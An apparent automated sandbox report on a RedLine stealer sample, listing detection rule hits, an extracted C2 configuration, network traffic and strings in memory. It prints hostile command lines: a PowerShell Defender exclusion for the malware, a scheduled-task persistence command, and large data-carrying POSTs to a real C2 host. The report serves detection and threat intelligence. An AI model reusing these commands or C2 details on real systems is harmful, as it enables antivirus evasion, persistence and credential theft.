Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RgIbrhxoEx.exe", ParentImage: C:\Users\user\Desktop\RgIbrhxoEx.exe, ParentProcessId: 5440, ParentProcessName: RgIbrhxoEx.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe", ProcessId: 5532, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp5E88.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp5E88.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\LjGABleGAy.exe, ParentImage: C:\Users\user\AppData\Roaming\LjGABleGAy.exe, ParentProcessId: 1880, ParentProcessName: LjGABleGAy.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp5E88.tmp", ProcessId: 7388, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\RgIbrhxoEx.exe", ParentImage: C:\Users\user\Desktop\RgIbrhxoEx.exe, ParentProcessId: 5440, ParentProcessName: RgIbrhxoEx.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp", ProcessId: 5656, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RgIbrhxoEx.exe", ParentImage: C:\Users\user\Desktop\RgIbrhxoEx.exe, ParentProcessId: 5440, ParentProcessName: RgIbrhxoEx.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe", ProcessId: 5532, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\RgIbrhxoEx.exe", ParentImage: C:\Users\user\Desktop\RgIbrhxoEx.exe, ParentProcessId: 5440, ParentProcessName: RgIbrhxoEx.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp", ProcessId: 5656, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET MALWARE RedLine Stealer - CheckConnect Response - Source IP: 185.222.57.151 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T04:12:23.889248+0200
SID:	2045000
Source Port:	55615
Destination Port:	49709
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.127.169.103 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T04:12:59.540993+0200
SID:	2022930
Source Port:	443
Destination Port:	49719
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE RedLine - SetEnvironment Request - Source IP: 192.168.2.5 - Destination IP: 185.222.57.151

Timestamp:	2024-07-27T04:12:18.578362+0200
SID:	2849352
Source Port:	49708
Destination Port:	55615
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.5 - Destination IP: 185.222.57.151

Timestamp:	2024-07-27T04:12:18.878917+0200
SID:	2849662
Source Port:	49709
Destination Port:	55615
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound - Source IP: 185.222.57.151 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T04:12:27.258175+0200
SID:	2045001
Source Port:	55615
Destination Port:	49709
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - GetUpdates Request - Source IP: 192.168.2.5 - Destination IP: 185.222.57.151

Timestamp:	2024-07-27T04:12:20.154106+0200
SID:	2848200
Source Port:	49711
Destination Port:	55615
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound - Source IP: 185.222.57.151 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T04:12:18.200600+0200
SID:	2045001
Source Port:	55615
Destination Port:	49706
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - SetEnvironment Request - Source IP: 192.168.2.5 - Destination IP: 185.222.57.151

Timestamp:	2024-07-27T04:12:27.715047+0200
SID:	2849352
Source Port:	49718
Destination Port:	55615
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE RedLine Stealer - CheckConnect Response - Source IP: 185.222.57.151 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T04:12:14.694601+0200
SID:	2045000
Source Port:	55615
Destination Port:	49706
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.5 - Destination IP: 185.222.57.151

Timestamp:	2024-07-27T04:12:09.597710+0200
SID:	2849662
Source Port:	49706
Destination Port:	55615
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - EnvironmentSettings Request - Source IP: 192.168.2.5 - Destination IP: 185.222.57.151

Timestamp:	2024-07-27T04:12:24.113320+0200
SID:	2849351
Source Port:	49709
Destination Port:	55615
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.127.169.103 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T04:12:21.374284+0200
SID:	2022930
Source Port:	443
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE RedLine - EnvironmentSettings Request - Source IP: 192.168.2.5 - Destination IP: 185.222.57.151

Timestamp:	2024-07-27T04:12:14.910173+0200
SID:	2849351
Source Port:	49706
Destination Port:	55615
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["185.222.57.151:55615"], "Bot Id": "cheat"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Virustotal: Detection: 43%			Perma Link

Multi AV Scanner detection for submitted file

Source: RgIbrhxoEx.exe	ReversingLabs: Detection: 83%
Source: RgIbrhxoEx.exe	Virustotal: Detection: 43%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: RgIbrhxoEx.exe

Joe Sandbox ML: detected

Source: RgIbrhxoEx.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: RgIbrhxoEx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrocef_low\NULL	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\NULL	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\NULL	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\Acrobat	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe	Jump to behavior

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 4x nop then jmp 01327E61h	0_2_01327375
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 4x nop then jmp 01327E61h	0_2_01327490
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 4x nop then jmp 03057329h	10_2_0305683D
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 4x nop then jmp 03057329h	10_2_03056958

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 185.222.57.151:55615

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49718

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 185.222.57.151:55615

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.57.151:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.57.151:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.57.151:55615Content-Length: 961769Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.57.151:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.57.151:55615Content-Length: 961761Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.57.151:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.57.151:55615Content-Length: 961280Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.57.151:55615Content-Length: 961272Expect: 100-continueAccept-Encoding: gzip, deflate

Source: Joe Sandbox View

ASN Name: ROOTLAYERNETNL ROOTLAYERNETNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.57.151

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.57.151:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2244863181.0000000003146000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.222.57.151:55615
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.222.57.151:55615/
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.0000000003146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.222.57.151:55615t-
Source: RgIbrhxoEx.exe, LjGABleGAy.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: RgIbrhxoEx.exe, LjGABleGAy.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: RgIbrhxoEx.exe, LjGABleGAy.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: RgIbrhxoEx.exe, 00000000.00000002.2133067683.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000A.00000002.2217562708.0000000003226000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2244863181.0000000003100000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: LjGABleGAy.exe, 0000000E.00000002.2329592554.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip
Source: RgIbrhxoEx.exe, RgIbrhxoEx.exe, 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: RgIbrhxoEx.exe, RgIbrhxoEx.exe, 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2337066239.0000000003CBC000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
